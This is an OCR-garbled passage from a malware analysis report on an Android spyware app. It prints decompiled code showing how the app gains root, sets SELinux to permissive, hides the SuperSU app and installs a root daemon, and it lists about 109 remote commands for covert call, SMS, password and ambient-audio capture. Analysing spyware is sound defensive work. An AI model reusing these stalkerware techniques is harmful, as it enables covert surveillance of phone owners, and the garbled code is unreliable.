if(!'PhoneUtil.hasRadic(({Context)this))) {
this.showhActivationScreen();

3

this.clesedpplicaten();

18bel 26:
if{InstallActivity.LOGD) {
FxLog.d("InstallActivity"”, "initialize # EXIT ...");
}
}

Figure 27. The function initialize() in the class InstallActivity

The function checkSuStatus() checks the status of super user. If the device is rooted, the program shows a dialog to
request root privileges through invoking the function getDialogAcceptSuperUser(). When the user clicks the grant
button, the function selectMode() is executed.



private void checkSuStatus({) [
SuperlUserStatus v2 = this.mSuManager.getSuperlUserStatus();

if(InstallActivity
¥", "c rrent st 83", new Cbject[]{w2}):
}
i1
if (InstallhActivity.LOGD) {
Fulog.d("InstallActivity"”, "che nEn )
}
if (ShellUtil.isDeviceRooted()) {
Dizlog w0 = DialogHelper.getDialoghcceptSuperUser(((Activicy)this), new DialecgHelperlistener() [

public void o
new Thr Select
public woid run{) {
| this. th1s$1. th15$0. selectMode (1) |

1
}.start{);
+
s
v0.setCancelable (false);
v0.show () :
return;

1

if (Installlctivity.LOGD) {
Fxlog.d(”

1

this.mSuManager.setSuperUserStatus (SuperUserStatus. NOT AVATLABLE);
this.selectMode (2);

Figure 28. The function checkSuStatus()

The next screen is Superuser
request which will remain visible
for 10 seconds.

Tap the GRANT option before the
screen disappears.

Next

Figure 29. The dialog of selecting grant option

Next, we continue to analyze the function selectMode().



private void selectMode (int arg20) |
= ve

1f (Installactivity.2OGV) {
Fxlog.w(*InstallAstivity", *selectiode 4 ENTER .

1

w3 = AVAILABLE:

awitchlaro20) {
case 1:

case 2:
goto label 102z

1T (Tnstallicoivicy.L0GT) {
Fxlog.i{"InstallActivity”, "selectMode # Full");
1

ey o ___yGet raot shel
Shell w10 =[Shell.gecRooush —_—
10,

v
1f(ivi0.1sRoot () |
Label

1

Af(InstallActivity.I0GD) [
Exlog.d(*InstallActivity”, *selectiode § Permission is gronted®):

3

¥13 = SuperUserStatus. ACQUIRED:
)
cateh (CannorbethootShel1Exception v3) {
AT{!InstallActivity. LOGD)
goto label 7:

ExLog.d(*Installictivity’, "selectMode § Permission is not granted”);

febel 152
AF (Installaccivity. LOGT)
Log.i{"InstallActivity”, “selectode # Hormal®):
1

3 = thi :
if (InstallBctivity.LOGD) {
*InstallActivity”, “selectMode # SU status: &s -> ks", new Object[]{vd, vi3});

this. mSuMenager. setSuperlzerSeatus (v1d) :
AF(Installdetivity. 10GD)

Fxlog.d(*InstallActivity’, “selectiode # SuStatus is updated to * + vi3):
)

o =y STy — > Serelue the setup status I to fle app_setup_status dat
1 (TnscallActivity.T0GD) [
Fxlog.d Activity”, f updated to \'completel
1
Boslean viZ = w13 l= ACQUIRED || w3 = ACQOTRED ? false
boolean w11 = 13 != AVATLABLE || v§ 1= ACQUIRED 2 false

this.asvitchTelinitadiNode = false;

1f(v13 == SuperUserStatus.ACQUIRED) {
boolesn wh = SELinuxleil.isSELinuxPressne();
Af(InstallAecivicy.I0GD) [

Fxlog.d("InstallActivity®, L] EL 7 vl
FLITTO
goto label 527
i
__—wGet the SELinux mode, It's PERMISSIVE on my device
SELinunode v = [Sheliveil pSELinuntode ()7
ir .LOGD) |

Fxlog.d{InstallActivity”, “selectiode

SElinux mode now :  + v}

if(Inztallactivicy. 106D {
Exlog.d(*Installictivity”, *selectMode § Switching SELinux mode .

¥

ShellUcil. switchSELinuxodeTobermissive () :
}

TE(TmetalLACTAVATY. LOSD)
FxLog.d(*Installictivity’, “selectiode § Switch to Limited 1 Mode ? #5°, new Cbject(] {Boolean.valueOf (this.mSvitchToLimitediModer ) :

1

if (Installdctivity.IogD) [
-8("InstallActivity”, “selectdode § StartRootProcsss ? &s staTtAppService ? @s°, new Coject(](Boolean.valueOf (vi2), Boolsan

valueOf (w111 1)}
}

affetz) 1 e

 —# v12=tueand vi1

ise

v2 = vi3; ___—Check if the SuperSl app icon s hidden, here it is false.
boslean v5 =[FackageUtil.isSulpplconfidden {[{Context) this
Af(InstallActivity.IOG) [
Exlog.v(*Installictivity®, *selectMode # is = app hidden already ? 43", new Cbject(]{Ecolean.valuedf (v8)}):
¥
afws) |

¥6 = new ModsCnangeRrgs();
6. superlserStatas = wi:
AF(Installieciviey.IOGD) |
Fxlog.d("InstallActivity®, "selectMode # Hide SuperSu icon as well

¥

V6. hideSulpp = true;
irvz - ACQUIRED &5 {this.mSwi 1
v6.svitchTolinitediMode = true;

1

[P a1 ana | Send a message to hander

goto label 163;

F(Insealiaseiviey. 206V {
Exlog.v{*InstallActivity”, “selectdode # Sending mode change request

¥

6 = new ModeChangekrga()?

6. superlserStatus = v2;

6. hideSulpp = false:

if(v2 == SuperUserStatus.AOQUIRED & (this.mSwitchTolinitediMode)) |
6. svitchTolinitadiMode = true;

¥

this.aliandl Handl ) s

]
elae |
V6 = new MedeChangeRrgs ()7
6. hideSulpp = false:
6. switchTolinitediMode = false;
Af (InstallActivity.10GD) {
xLog.d(* Installictivity’, “selectiode § Hothing change'):
1

this.s¥andl Eandl Vel

bel 163
If (Installhctivity.LOGV) {
ExLog.v{"InstallActivity”, "selectiode § EXIT ...°);
}



Figure 30. The function selectMode()

At the end of the function selectMode(), it invokes sendMessage to send a message to the handler. The handler
receives the message to choose the corresponding branch to handle. It then invokes the function
processModeChange() in the class InstallActivity.

private Handler createHandler({) [
return new Handler() |
public woid handleMessage (Message arg8) {
switch(argB.what) [
Cezse 22
if{Installhkctivity.LoGV) |
Falog.v({"InstallActivity", "hand

Message # what: WHAT PROCESS MODE CHANGE")
}

if{!{argi.obj instanceocf ModeChangeRrgs)) {
return;

Figure 31. The function createHandler()

The definition of function processModeChange() is shown below.

private void processModeChange (ModeChangelrgs argS) {
if (this.mRemoteControl != null) {
this.mProgress.

1 gressDialog.show(({Context)this), this.getString(2131034133), this.getString{2131034140), true);
if (argS. svitchTolimitediMode) {
this.swizchTolimicedlMode (args) ;
i
else {
| this.switchContainer (this.mRemoteControl, args);|

1
}
else if (InstallRctivity.LOGE) [

FxLog.e("InstallActivity”, "processM

ge # This operation can\'t be done without a remote control!!"):

}

Figure 32. The function processModeChange() in the class InstallActivity



private void switchContainer (RemoteControl arg3, ModeChangeRArgs argd) {
new Thread ("SwitchContainerThread”, arg3, argd) {
public wveoid run() {
AppInstance v7_1;
if(InstallActivity.LOGD) {
FxLog.d("InstallActivity", "switchContainer # Begin");:

i

InstallActivity.
Boolean v3 B

this.mAppInstance.setSetupInProgress (true);
lean.valueDf {false);
el v6 = Installetivity.this.getSystemService ("power").newWakeLock (26, "switchContaineri

vE.acquire():
Ery {
if{InstallActivity.LOGD) [
FxLog.d("InstallActivity”, "switchContainer # Exec command switch container");

}

Send the control command
ControlCommand v1 = new ControlCommand(); —¥ Remotefunction. DEBUG_SWITCH_CONTAINER to remote control server,
vl.setFunction(RemoteFunction. DEBUG SWITCH CONTAINER);

Chject v3_1 = this.valéremoteControl.execute (vl);
if({InstallRAetivicy.LOGD) {
Fxlog.d("InstallActivity",

itchContainer # Switching done. Is success ? &s", new Object[]{v3_11);

label :
vh.release();
InstallActivity.this.mippInstance.setSetupInProgress(false);
throw v7;

if(InstallActivity.LOGE) |
Fxlog.e{"InstallActivity”, "switchContainer # Error!1", ({Th:

le)wa)h:

vh.release();
w7_1l = InstallActivity.this.mippInstance;
goto label 43;

i

vé.release();
v7_1 = Installictivity.this.mippInstance;
labe

v7_l.setSetupInProgress(false);

if(v3.booleanValue()) {
this.val$modeChangeArgs. 1sModeSvitchSuccess = true;
if({!this.valémod=ChangeArgs. hideSuldpp) {

if{InstallActivity.LOGD) [

FxLog.d{'InstallActivity”, "switchContainer 4 Hiding SuperSu App ..");
}
try [ ___—w Send a command RemoteFunction.SET_SUPERUSER_VISIBILITY
] UIUtils.hideSuBinary(this.valsremoteControl); | to remote control server to hide SuperSu app.
}

catch (RemoteControlException w2_1) {
if(!InstallRActivity.LOGE) |
goto label 58

t

Falog.e ("InstallActivity”,

chContainer # err :" + vZ2_l.toString())s
¥
}
else |
this.valémodeChangedrgs. isModeSvitchSuccess = false;

_y Send a message with type 222 to handler.

s5a0e V4 = ssage.obtain(InstallActivity.this.mHandler, 222);
vé.obj = this.valémodeChangelrgs;
InatallActivity.this.mRandler.sendMeasage (vd):
if(InstallActivity.LOGD) {

FxLog.d("InstallActivity", "switchContainer # End"):

}

3
l.starc();

Figure 33. The function switchContainer()

In the function switchContainer, the program sends the remote command
RemoteFunction.DEBUG_SWITCH_CONTAINER to remote control server to execute. It finally invokes the function
execute() in the class TcpSocketCmd to send the command to remote control
server("com.vvt.rmtctrl.server",port=12512) and receive the response. In the UlUtils.hideSuBinary(), it sends a



command RemoteFunction.SET_SUPERUSER_VISIBILITY to remote control server to hide SuperSu app. The
program then sends a message with type 222 to handler. The following is the code for handling the message with

type 222.

case 222: {
if (Installhctivity.LOGV) {
FxLog.v{"InstallActivity", "handleMessage 4 what: WHAT MODE SWITCH DONE");
1
Object v0 = arg8.obj:

if (InstallActivity.LOGV) |
Fxlog.v("InstallActivity", "ha

Switch Success ? " + ((ModeChangeArgs)v0).1sModeSwitchSuccess);

1

if ({ (ModeChangehrgs) v0) . isModeSwvitchSuccess) |
boolean w2 = true;
1f ({ (ModeChangehrgs)v0) . switchToLinitediMode) |
v2 = false;

}

InstallZctivity.this.handleSwitchingFinish (v2);
E vl = InstallActivity.this.mHandler.cbtainMessage (226) ;
vl.obj = arg8.obs:

InstallActivity.this.mHandler.sendMessage (v1):

1

InstallRctivity.this.mNotifySvwitchFailed = true;

InstallActivity.this.mSetModeChangedrgsOndppStart = ( (ModeCh 1o s
InstallActivity.this.startAppEngine () ;
break;

Figure 34. The code snippet for handling the message with type 222

Next, we deeply analyze how the remote control server executes the command remote
RemoteFunction.DEBUG_SWITCH_CONTAINER.

The remote control server is implemented in the class com.fx.socket.TcpSocketCmdServer. The inner class
ExecThread in the class TcpSocketCmdServer invokes the function processCommand () of
com.vvt.appengine.RemoteControlHandler to process the command
RemoteFunction.DEBUG_SWITCH_CONTAINER.

public Cbject processCommand(TcpSccketCmd argb7) {
ControlCommand v6;
RmtCtrlCutputDiagnostica v32_39;
RemcteControlException w32 1;
if (RemoteControlHandler.LOGV) {
Fxlog.v("RemoteControlHandler", "processCommand # ENTER ...");

I3

RemoteControlImpl v32 = nulls
if {{arg57 instanceof RemoteGetRmtCtrl)) {
if (RemoteControlHandler.LOGD) |
FxLog.d("Remo rolHandler", "processCommand # Get remote control”);

3

v32 = this.mComponent.remoteControl;
goto lab 1z

}
Get the RemoteFunction from data received by server.

if{{arg57 instanceof RemcteCnCommandReceive)) [
try {

RemoteFunction v2l = ((ControlCommand)v33).getFunction():
if (RemoteControlHandler. LOGD) |
Fxlog.d("RemoteControlHandler", "processCommand # Remote function: %s", new Ckject([]{w2l1]):

}

switch(com.vvt.appengine.RemoteControlHandlers2. $5vitchMap$com$vvtiremotecontrol $RemoteFunction[val.ordinal () 1) {

case 1: [
\ Choose the corresponding branch depending on each RemoteFunction.

goto la

1
case 2: {
goto label &8;

case 3: |
goto la

Figure 35. The function processCommand () of com.vvt.appengine.RemoteControlHandler

The list of remote commands is shown below. It includes 109 remote commands.



static {
RemoteFuncticn.ACTIVATE PRODUCT = nev RemoteFunction("ACTIVATE_PRODUCT", 0):
RemoteFuncticn. DEACTIVATE PRODUCT = new RemoteFunction{"DEACTIVATE PRODUCT", 1):
RemoteFuncticn.IS_PRODUCT ACTIVATED = new RemoteFunction("IS_PRODUCT ACTIVATED", 2):
RemoteFuncticn. UNINSTALL PRODUCT = new RemoteFunction("UNINSTALL PRODUCT"
RemoteFuncticn.GET LICENSE STATUS = new RemoteFunction("GET_LICENSE STATUS", 4):
RemoteFunction. GET_ACTIVATION CODE = new RemoteFunctica("GET ACTIVATION CODE', 5)i
RemoteFuncticn.AUTO ACTIVATE PRODUCT = new RemoteFunction("AUTO ACTIVATE PRODUCT", 6):
RemoteFunction. MANAGE COMMON_DATA = new RemoteFunction ("MANAGE COMUDN_DATA", 7):
RemoteFunction. ENABLE EVENT DELIVERY = new RemoteFunction("ENABLE EVENT DELIVERY", 8):
RemoteFuncticn.SET EVENT MAX NUMBER = new RemoteFunction("SET_EVENT MAX NUMBER', 9):
RemoteFunction.SET EVENT TIMER = new RemoteFunction("SET_EVENT TIMER', 10):
RemoteFunction.SET DELIVERY METHOD = new RemoteFunction{"SET DELIVERY METHOD", 11};
RemoteFunction.ADD URL = mew RemoteFunction("ADD URL", 12):

RemoteFunction.RESET URL = new RemoteFunction("RESET URL", 13);
RemoteFunction.CLEAR URL = new REmDY:EFun:‘.Y:an("CLEAR URL", 14);
RemoteFunction. QUERY URL = new RemoteFunction("QUERY URL", 15);

RemoteFunction. ENASLE EVENT CAPTURE = new RemoteFunction{"ENABLE EVENT CAPTURE", 16);
RemoteFunction.ENASLE CAPTURE CALL = new RemoteFunction("ENABLE CAPTURE CALL', in;
RemoteFunction.ENASLE CAPTURE SMS = nev RemoteFunction("ENABLE CAPTURE SMS", 18
RemoteFunction.ENASLE CAPTURE EMATL = new RemoteFunction{"ENABLE CAPTURE EMATL', 19);
RemoteFunction.ENASLE CAPTURE MMS = nev RemoteFunction("ENABLE CAPTURE MUS", 20);
RemoteFunction. ENABLE CAPTURE IM = new RemoteFunction('ENABLE CAPTURE IM', 21);
RemoteFunction. ENABLE CAPTURE IMAGE = new RemoteFunction ("ENABLE CAPTURE IMAGE", 22);
RemoteFunction. ENABLE CAPTURE AUDIO = new RemoteFunction ("ENABLE CAPTURE AUDID', 23);
RemoteFunction. ENABLE CAPTURE VIDEO = new RemoteFunction{"ENAELE_CAPTURE VIDEO", 24):
RemoteFunction. ENABLE CAPTURE WALLPAPER = new RemoteFunction("ENABLE CAPTURE WALLPAPER', 25):
RemoteFunction. ENABLE CAPTURE APP = nev RemoteFunction("ENABLE CAPTURE APP", 26):
RemoteFunction. ENABLE CAPTURE URL = new RemoteFunction("ENABLE CAPTURE URL", 27
RemoteFunction. ENABLE CAPTURE CALL RECORD = new RemoteFunction("ENABLE CAPTURE CALL RECORD", 28):
RemoteFunction. ENABLE CAPTURE CALENDAR = new RemoteFunction('ENABLE_CAPTURE CALENDAR", 29):
RemoteFunction. ENABLE CAPTURE PASSWORD = new RemoteFunction('ENABLE CAPTURE PASSWORD", 30):
RemoteFunction. ENABLE TEMPORAL CONTROL RECORD AMBIENT = new RemoteFunction("ENABLE TEMPORAL CONTROL RECORD AMBIENT", 31):
RemoteFunction. ENABLE CAPTURE VOIP = new RemoteFunction("ENABLE_CAPTURE VOIP", 32):

RemoteFunction. ENABLE VOIP CALL RECORDING = new RemoteFunction("ENABLE VOIP_CALL RECORDING", 33):
RemoteFunction. ENABLE CAPTURE CONTACT = nev RemoteFuncticn("ENABLE CAPTURE_CONTACT", 34):
RemoteFunction.SET IM ATTACEMENT LIMIT SIZE = new RemoteFunction("SET_IM ATTACHMENT LIMIT SIZE", 35):
RemoteFunction.ENABLE CAPTURE GFS = new RemoteFunction('ENABLE CAPTURE GPS", 36):

RemoteFunction.SET GPS TIME INTERVAL = new RemoteFunction{"SET GPS TIME TNTERVAL', 37);

RemoteFunction.GET GPS ON DEMAND = new RemoteFunction("GET GPS DN DEMAD', 38);

RemoteFunction.ENABLE SPY CALL = new RemoteFunction("ENABLE SPY CALL", 39);

RemoteFunction. ENABLE WATCH NOTTFICATION = new RemoteFunction ("ENABLE WATCH NOTIFICATION", 40);

RemoteFunction.SET WATCH FLAG = new RemoteFunction{"SET WATCH FLAG', 41);

RemoteFunction.GET CONNECTTON HISTORY = new RemoteFunction("GET CONNECTION HISTORY', 42);

RemoteFunction.GET CONFIGURATION = new RemoteFunction("GET CONFIGURATION', 43);

RemoteFunction.GET SETTINGS = new RemoteFunction("GET SETTINGS", 44);

RemoteFunction.GET DIAGHOSTICS = new RemoteFunction("GET DIAGNDSTICS', 45);

RemoteFunction.GET EVENT COUNT = new RemoteFunction("GET EVENT COUNT', 46):

RemoteFunction.SEND INSTALLED APPLICATTONS = new RemoteFunction ("SEND INSTALLED APFLICATIONS", 47);

RemoteFunction.REQUEST CALENDER = new RemoteFunction ('REQUEST CALENDER', 48);

RemoteFunction.SET_SUPERUSER VISIEILITY = new RemoteFunction("SET_SUPERUSER VISIBILITY", 49):
RemoteFunction.SET LOCK PHONE SCREEN = new RemoteFunction("SET_LOCK PHONE SCREEN", 50):

RemoteFunction.REQUEST DEVICE SETTINGS = new RemoteFunction('REQUEST DEVICE SETTINGS", 51):
RemoteFunction.SET UPDATE AVAILABLE SILENT MODE = new RemoteFunction("SET UPDATE_AVATLABLE SILENT MODE", 52):
RemoteFunction. DELETE DATABASE = new RemoteFunction("DELETE DATABASE", 53):

RemoteFunction.RESTART DEVICE = new RemoteFunction{"RESTART DEVICE', 54):

RemoteFunction.REQUEST HISTORICAL EVENTS = new RemoteFunction("REQUEST EISTORICAL EVENTS", 55):
RemoteFunction.REQUEST TEMPORAL APPLICATION CONTROL = new RemoteFunction("REQUEST TEMPORAL APPLICATION_CONTROL", 56):
RemoteFunction.SET DOWNLOAD BINARY AND UPDATE SILENT MODE = new RemoteFunction("SET DOWNLOAD BINARY AND UPDATE_SILENT MODE", 57):
RemoteFunction. SEND HEARTEEAT = new RemoteFunction{"SEND_HEARTEEAT', 58):

RemoteFunction.SEND MOBILE NUMBER = new RemoteFunction("SEND MOBILE NUMBER", 59):

RemoteFunction. SEND SETTINGS EVENT = new RemoteFunction("SEND SETTINGS EVENT", 60):

RemoteFunction. SEND EVENTS = new RemoteFunction("SEND EVENTS', 61);

RemoteFunction.REQUEST CONFIGURATION = new RemoteFunction (' REUUEST CONFIGURATION", 62);

RemoteFunction.SEND CURRENT URL = new RemoteFunction("SEND CURRENT URL', 63);

RemoteFunction. SEND BOOKMARKS = new RemoteFunction {"SEND BOORMARES', 64);

RemoteFunction.DEBUG SRITCH CONTAINER = new RemoteFunction("DEBUG SWITCH CONTATNER', 65);

RemoteFunction. DEBUG HIDE APP = new RemoteFunction('DEBUG HIDE APP', 66);
RemoteFunction.DEBUG UNHIDE APP = new RemoteFunction('DEBUG UNHIDE APP', 67);
RemoteFunction.DEBUG IS DAEMON = new RemoteFunction("DEBUG IS DAEMON', 68);
RemoteFunction.DEBUG IS FULL MODE = new RemoteFunction('DEBUG 1§ FULL MODE", 69);
RemoteFunction.DEBUG GET CONFIG ID = new RemoteFunction("DEBUG GET CONFIG ID", 70);
RemoteFunction. DEBUG GET ACTUAL CONFIG ID = new RemoteFunction("DEBUG GET ACTUAL CON
RemoteFunction.DEBUG GET VERSION CODE = new RemoteFunction("DEBUG GET VERSION CODE", 72);

RemoteFunction.DEBUG SEND TEST SMS = new RemoteFunction("DEBUG SEND TEST SMS', 73);

RemoteFunction. DEBUG CLOSE APP = new RemoteFunction('DEBUG CLOSE_APP', 74):

RemoteFunction.DEBUG BRING U1 TO HOME SCREEN = new RemoteFunction('DEBUG BRING UL TO HOME SCREEN", 75):

RemoteFunction.DEBUG SET APPLICATION MODE = new RemoteFunction("DEBUG_SET APPLICATION 76):

RemoteFunction. DEBUG GET_APPLICATION MODE = new RemoteFunction("DEBUG_GET APPLICATION ) )

RemoteFuncticn. DEBUG RESTART DEVICE = new RemoteFunction{"DEBUG_RESTART DEVICE', 78):

RemoteFunction.DEBUG IS APPENGIN INIT COMPLETE = new RemoteFunction("DEBUG IS APPENGIN INIT COMPLETE", 79):

RemoteFuncticn. DEBUG PRODUCT VERSION = new RemoteFunction{"DEEUG_PRODUCT VERSION', 80):

RemoteFunction.DEBUG IS CALLRECORDING SUPPORTED = new RemoteFunction("DEBUG_IS CALLRECORDING SUPPORTED", 81):

RemoteFunction. DEBUG IS RESUME ON DEMAND AMBIENT RECORDING = new RemoteFunction('DEBUG_IS_RESUME_ON DEMAND AMBIENT RECORDING', 82);
RemoteFunction.SET MODE ADDRESS BOOK = new RemoteFunction("SET MIDE ADDRESS BOOK', 83):

RemoteFunction. SEND ADDRESS BOOK = new RemoteFunction("SEND ADDRESS BOOK', B4):

RemoteFunction.REQUEST BATTERY INFO = new RemoteFunction{"REQUEST BATTERY INFO', 85):

RemoteFunction.REQUEST MEDTA FISTORICAL = new RemoteFunction ("REQUEST MEDIA HISTORICAL', 86);

RemoteFunction. UPLOAD ACTUAL MEDTA = new RemoteFunction("UPLOAD ACTUAL MEDIA", 87);

RemoteFunction.DELETE ACTUAL MEDTA = new RemoteFunction("DELETE ACTUAL MEDIA", 88);

RemoteFunction.ON DEMAND AMBIENT RECORD = new RemoteFunction(ON DEMAND AMBIENT RECORD", 89)7

Rerotefunction. O DEMAND_IMAGE CAPIURE = new RemoteFunction ('O DEMAID TMAGE CAPTURE' 0

RemoteFunction. ENABLE CALL RECORDING = new RemoteFunction("ENABLE CALL RECORDING', o1y
RemoteFunction.SET CALL RECORDING WATCH FIAG = new RemoteFunction('SET CALL RECORDTNG WATCH FLAG", 92)7
RemoteFunction. SET CALL RECORDING AUDIO SOURCE = new RemoteFunction("SET CALL RECORDING AUDIO SOURCE", 93);
RemoteFunction. ENASLE COMMUNICATTON RESTRICTTON = new RemoteFunction("ENABLE COMMUNICATION RESTRICTION®, 94);
RemoteFunction.ENASLE APP PROFTLE = nev RemoteFunction("ENABLE APF PROFILE", 95
RemoteFunction.ENABLE URL FROFTLE = new RemoteFunction("ENABLE URL PROFILE", 96
RemoteFunction.SPOOF SMS = new RemoteFunction("SFOOF SMS", 97);
RemoteFunction.SET PANIC MODE = new RemoteFunction{"SET PANIC MODE', 98);
RemoteFunction. START PANIC = new RemoteFunction("START PANIC', 99):
RemoteFunction. STOP PANIC = new RemcteFunction("STOP_PANIC, 100):
RemoteFunction.GET PANIC MODE = new RemoteFunction{"GET PANIC MODE', 101):
RemoteFunction. PANIC IMAGE CAPTURE = new RemoteFunction("PANIC IMAGE CAPTURE", 102):

RemoteFunction.IS PANIC ACTIVE = new RemoteFunction("IS_PANIC ACTIVE", 103):

RemoteFunction.ENABLE ALERT = nev RemoteFunction("ENABLE_ALERT", 104):

RemoteFunction.SET LOCK DEVICE = new RemoteFunction("SET_LOCK DEVICE", 105):

RemoteFunction.SET_UNLOCK DEVICE = new RemoteFunction("SET_UNLOCK DEVICE', 106):

RemoteFunction.SET WIPE = new RemoteFunction("SET WIPE", 107):

RemoteFunction. SYNC TEMPORAL APPLICATION CONTROL = new RemoteFunction("SYNC_TEMPORAL APPLICATION CONTROL", 108):

RemoteFunction. SVALUES = new RemoteFunction[] {RemoteFunction.ACTIVATE PRODUCT, RemoteFunction.DEACTIVATE PRODUCT, RemoteFunction.IS PRODUCT ACTIVATED, F




Figure 36. The remote commands list
The class com.vvt.appengine.RemoteControlHandler can handle 97 remote commands.

The following code is the branch of handling the command RemoteFunction.DEBUG_SWITCH_CONTAINER.

. valueo? (this [processSwizehing ()

private boolean processSwitching{) |
boolean v1;
RemoteSwitchContainer w2 =|ne\-r RemoteSwitchContainer();
try {

v1 =[Z exmeuee (] booteanvatue 5

1 — . Connect the remote server "vvt.polymorphic.server:1251

cateh{I0 on w0y { and send the command to sarver.
if{!RemoteControlHandler.LOGE) {
return v1;
}
FxLog.e("RemoteControlHandler", "processSwitching # Error!!", ({Throwable)jv0));
1
return v1;

Figure 37. The function processSwithing()

The function execute() is implemented in class TcpSocketCmd. At that point, the remote server is
"vvt.polymorphic.server" and listens on port 12514. It sends a command to the remote server.

When the remote server receives the command, it invokes the function processCommand() in class
PolymorphicContainer to handle it.

ect processCommand (TcpSocketCmd argd) {
nvl_1;
Ckject v0 = null;
if{{argd instanceocf RemoteStartippEngine)) |
if {PolymorphicContainer.LOGD) |
Fxlog.d(this.getTag(), "processCommand # Start app engine");

n.valueCf(this.startAppEngine());

else |
if(l(arg4 instanceof RemctedwitchContainer)) I{
if (PolymorphicContainer. LOGD) |
FxLog.d(this.getTag(), "processCommand # Swtich contalner”):

if{!{argd4 instanceof RemcteUninstalllpplicaticn)) {
return w0;
}
if {PolymorphicContainer.LOGD) |
Fxlog.d({this.getTag(), "processCommand # RemoteUninstallApplication”):

1

v0_1 = Boolean.valueOf({this.stopRootProcess());

return v0;

Figure 38. The function processCommand() of the class PolymorphicContainer

The definition of the function switchContainer() is shown below. It is used to switch container.



private boolean switchContainer() {
if (PolymorphicContainer.LOGD) {
FxLog.d(this.getTag(), "switchContainer & ENTER ..."):
1

boolean v3 = falser
if (PolymorphicContainer.LOGD) {

FxLog.d(this.getTag{), "switchContainer # Stop the engine");
1

this.stophppEngine () ; —
it (PolymorphicContainer.10GD) {
Fxlog.d(this.getTag(), "svitchContainer & Stop the server');

}
this.stopServer(); — » Close remote server socket vvt.polymorphic.server:12514.

try {
1if (PolymorphicContainer.LOGD) |
FxLog.d(this.getTag(), "switchContainer # Setup a r

___—p Stop app engine, including close server socket com.vvt.rmtctrl.server:12512.

ontainer”) ;

}

iflithis. setupliewContainex ()| 1 —

if (FolymorphicContainer.LoGD) |
FxLog.d(this.getTag(), "switchContainer 4 Copy data’);
¥ copying files:[fx.log, 5002, system_url.dat, phoenix_db.db, phoenix_db.db-journal,
_———————— " preferences.dat, ddmmagr.db, ddmmagr.db-journal, events.db, events.db-journal,
app_container_info.dat] from:/data/data/com.android.systemupdate/app_data
if (FolymorphicContainer.LOGD) |
FxLog.d(this.getTag(), "switchContainer 4 Pre start a new

}

___—— Set up a new container, it includes creating server socket: vvt.polymorphic.server:12514

yine") ;

this.preStartlewAppEngine () ;
if (BolymorphicContainer.LOGD) {
FxLog.d(this.getTag(), "svitchContainer # Start a new app engine"):
1
9 Remotely start app engine again, including
1ftnew RemoteStartAppPngine () .execute () |b:c1eau‘fa1ue(); { creating server socket com.vvt.rmtctrl.server:12512
if (PolymorphicContainer.LOGI) {
FxLog.i(this.getTag(), "switchContainer # Switch success!"):

}

this.onSwitchSuccess () ;
V3 = true:
goto lab

Figure 39. The function switchContainer()

a. stopAppEngine(): Stops app engine and closes the server socket com.vvt.rmtctrl.server:12512.
stopServer():Closes the remote server socket vvt.polymorphic.server:12514.
setupNewContainer():Sets up a new container and starts the remote server
vwvt.polymorphic.server:12514.

d. relocateData(): Copies files [fx.log, 5002, system_url.dat, phoenix_db.db, phoenix_db.db-
journal,preferences.dat, ddmmgr.db, ddmmgr.db-journal, events.db, events.db-
journal,app_container_info.dat] from /data/data/com.android.systemupdate/app_data
to /data/misc/adn.

e. execute(): Remotely starts app engine again and starts remote server com.vvt.rmtctrl.server:12512.

The function setupNewContainer() is implemented in the super class com.phoenix.client.AppServiceContainer of the class
PolymorphicContainer.



protected boolean HRESURIERNETEITl] {

boolean v2;
if (AppServiceContainer. 10GD) {

Fxlog.d("AppServiceContainer”, " iner # ENTER ..

1

MainDaemon v1 =[new Mainbeeron(:]
if (AppServiceContainer.LOGD) {
Falog.d ("AppServi ainer”, " iner # Cleanup®

1

try {
[EelymorphicHelper. stopRootFracess (( (Daeman)vi)) ;)

1
catch (UninstallationException v0) [
if (1AppServiceContainer.IOGE) [
goto label 15;
}

Fxlog.e("AppServi ainer", " iner # Error!!", ((Throwable)vD)):

1

label_15:
i =10) {
v2 = false;
return vi;

1

v2 = false;

try |
if (AppServiceContainer.LOGD) {
FxLog.d("AppServiceContainer”, "setuplewContainer 4 Install root process");
1
PolymorphicHelper. startRoo (this.mContext.getPackagelame(), thi r, this.mResolver, ((Daemon)vl), this.mContext):
V2 = Erue;

catch (RunningException w0_1) {
if (!AppServiceContainer.LOGE) [
goto label 3&:
}

Fxlog.e("AppServiceContainer”, " iner # Running Error!!", ({Throwable)w0 1));

catch (InstallationException v0_2) [
if (1AppServiceContainer.IOGE) [
goto label 38;
}

FXLog.e ("AppServiceContainer”, " iner # Install Error!!", ((Ih:

anle)v0_2));

if (AppServiceContainer. LOGD) {
FxLog.d("AppServi ainer”, " iner 4 EXIT ..."):

1

return v2;

Figure 40. The function setupNewContainer()

The definition of the function startRootProcess() in the class com.vvt.polymorphic.PolymorphicHelper is shown
below.



public static void startRootProcess(String arglS, AssetManager arglé, ContentResolver argl7, Daemon arglf, Context argld) throws InstallationException, |
if (PolymorphicEelper.10GD) {
FxLog.d("PolymorphicHelper”, "startRootProcess § ENTER ..

if (PolymorphicHelper.LOGD) {
Fxlog.d("PolymorphicHelper", "startRootProcess # Remount system as READ-WRITE");
}

[she11ucil. remcuncrilesyatem(true): |
try | . - - /data/misc/adn/
String v9 =|Daemncusr.om12a:1a WORKING DIRECTOR
if(!new File(v9).exists()) |{
if (PolymorphicHelper.LOGD) {
FxLog.d("PolymorphicHelper”, "startRootProcess # Create dir: &s", new Ckbject[]{v9}):

1

[ShellUtil.createDirectory (v9, true); |

if (PolymorphicHelper.LOGD) |
FxLog.d("PolymorphicHelper", "startRootProcess # Backup APK"):
1

| DaemonAe 1per. backupkpp (argls, DasmonCustomization.HORKING DIRECTORY) ;|
1f (PolymorphicAelper. L0GD) {
FxLog.d("PolymorphicHelper”, "startRootProcess # Extract assets");

1

| Daemontie1per. extractassets (argl6, String.format{'/data/data/es/app data”, argls), v9, "product’);
if((0SOtil.isAndroidddOrlater()) &4 (SamsungUtil.isSamsung())) {
PolymorphicHelper.copyScFilesToSystemLibDir({) ;

}
else if((05Util.iskndroidé0rLlater()) s& (OSUtil.isédbit())) [
PolymorphicHelper.copySoFilesToSystenLikDiz()

if (PolymorphicHelper.LOGD) {
FxLog.d("PolymorphicHelper”, "startRootProcess # Install Killer Mobile Alsa Recorder

1

FPolymorphicHelper.installKillerMobileCallRecording (va);

if (FolymorphicHelper.LOGD) |
FxLog.d("PolymorphicHelper”, "startRootProcess # Setup executables"):

1

[ Po1ymorphichelper. setupExecutables () ; |
1f (PolymorphicAelper.LOGD) [
FxLog.d("PolymorphicHelper”, "startRootProcess # Create startup script"):

1

argls.createStartupScripti) ;
if (PolymorphicHelper.LOGD) {
